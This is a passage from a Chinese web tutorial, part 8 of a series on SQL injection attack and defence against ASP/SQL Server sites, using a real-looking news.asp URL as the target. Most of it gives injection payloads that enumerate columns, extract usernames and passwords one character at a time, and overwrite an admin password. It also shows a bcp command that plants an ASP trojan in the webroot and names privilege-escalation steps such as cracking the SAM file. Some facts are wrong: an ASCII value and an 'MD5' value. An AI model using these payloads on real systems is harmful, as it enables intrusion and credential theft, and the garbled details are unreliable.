学习啦>学习电脑>电脑安全>网络安全知识>

SQL注入漏洞的攻防策略(8)

若木分享

  猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,

  user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断

  HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0

  “select count(字段名) from 表名”

  语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个

  字段的名称。

  读取法:基本的实现方法是

  HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from

  TestDB.dbo.sysobjects)>0 。

  select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知

  表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。

  把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

  d 猜解用户名与密码

  猜用户名与密码的内容最常用也是最有效的方法有:

  ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然

  后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from

  TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

  为用户名字段的名称,admin为表的名称),若x为某一值i且news.asp运行正常时,则i就是第一个用

  户名的长度。如:当输入

  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时

  news.asp运行正常,则第一个用户名的长度为8

  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from

  TestDB.dbo.admin)=n

  (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是

  1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i

  且news.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入

  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from

  TestDB.dbo.admin)=80时news.asp运行正常,则用户名的第三位为P(P的ASCII为80);HTTP://www.163.co

  m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33

  时news.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜

  出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具

  进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP://www.163.com

  /news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,

  flag是admin表中的一个字段,username是用户名字段,此时news.asp工作异常,但能得到Username的值

  。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。

  猜用户密码:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from

  TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时news.asp工作

  异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到

  表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。

  HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'

  where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用

  同样的方法当然可把密码改原来的值。

  2、利用表内容导成文件功能

  SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张

  临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

  命令行格式如下:

  bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa

  –P foobar

  ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个163.asp的木马)

  3、利用工具,如NBSI给出的一些参考数据最重要的表名:

  select * from sysobjects

  sysobjects ncsysobjects

  sysindexes tsysindexes

  syscolumns

  systypes

  sysusers

  sysdatabases

  sysxlogins

  sysprocesses

  最重要的一些用户名(默认sql数据库中存在着的)

  public

  dbo

  guest(一般禁止,或者没权限)

  db_sercurityadmin

  ab_dlladmin

  一些默认扩展

  xp_regaddmultistring

  xp_regdeletekey

  xp_regdeletevalue

  xp_regenumkeys

  xp_regenumvalues

  xp_regread

  xp_regremovemultistring

  xp_regwrite

  xp_availablemedia 驱动器相关

  xp_dirtree 目录

  xp_enumdsn ODBC连接

  xp_loginconfig 服务器安全模式信息

  xp_makecab 创建压缩卷

  xp_ntsec_enumdomains domain信息

  xp_terminate_process 终端进程,给出一个PID

  (三)、得到系统的管理员权限

  ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限

  的方法有很多种:

  上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);

  复制CMD.exe到scripts,人为制造UNICODE漏洞;

  下载SAM文件,破解并获取OS的所有用户名密码;

  等等,视系统的具体情况而定,可以采取不同的方法。

  那么我们怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如

  top.asp文件中开头

75367